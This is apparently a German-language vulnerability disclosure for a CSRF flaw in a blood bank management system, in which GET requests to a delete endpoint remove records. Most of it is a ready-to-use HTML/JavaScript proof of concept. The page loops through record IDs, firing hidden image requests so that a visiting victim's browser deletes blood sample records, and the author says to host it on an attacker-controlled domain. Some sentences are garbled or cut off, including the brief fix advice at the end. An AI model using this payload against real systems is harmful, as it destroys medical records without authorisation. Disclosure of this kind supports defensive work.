
Blutbank CSRF-Angriff POC
/file/delete.php?bid=Eine Cross Site Request Forgery (CSRF)-Sicherheitslücke wurde in der Blutbestellungsfunktion des BloodBank Management Systems entdeckt. Dieser Fehler tritt auf, wenn eine delete-Anfrage an diesen Pfad /file/delete.php?bid= gesendet wird, wodurch der Parameter bid einen zu löschenden Datensatz in der Anwendung auswählen kann. Die sind jedoch dynamisch, abhängig vom Hinzufügen der Blutproben. Um die Anfrage erfolgreich zu machen, habe ich ein mit JavaScript generiertes Bild-Tag in einer Schleife verwendet.
bidsEine erfolgreiche Ausnutzung kann zu nicht autorisierten Aktionen, d.h. Löschung von Daten, im Namen des Opfers führen. Zusätzlich könnte dies durch den Besuch schädlicher Websites mit der Nutzlast ausgenutzt werden.
Nachfolgend ein Beispiel eines CSRF-PoC-Angriffs, der die verfügbaren Blutproben über den Parameter bid löscht. Hosten Sie die Datei auf einer vom Angreifer kontrollierten Domain; in meinem Fall habe ich localhost verwendet:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>CSRF PoC</title>
</head>
<body>
<h2>CSRF Proof of Concept for Deleting Blood Bank Records</h2>
<script>
// Define the target URL where the Blood Bank System is hosted
const targetUrl = "http://localhost/bloodbank/file/delete.php";
// Loop through possible bid values (0 to 20) can be increased to as much as possible :)
for (let bid = 0; bid <= 20; bid++) {
// Create an image element for each bid value to send the GET request
let img = document.createElement("img");
img.src = `${targetUrl}?bid=${bid}`;
img.style.display = "none"; // Hide the image from view
document.body.appendChild(img);
}
</script>
</body>
</html>
csrf-Token in Ihre Anfrage ein und vermeiden Sie, dass GET-Anfragen zustandsändernde Aktionen ausführen.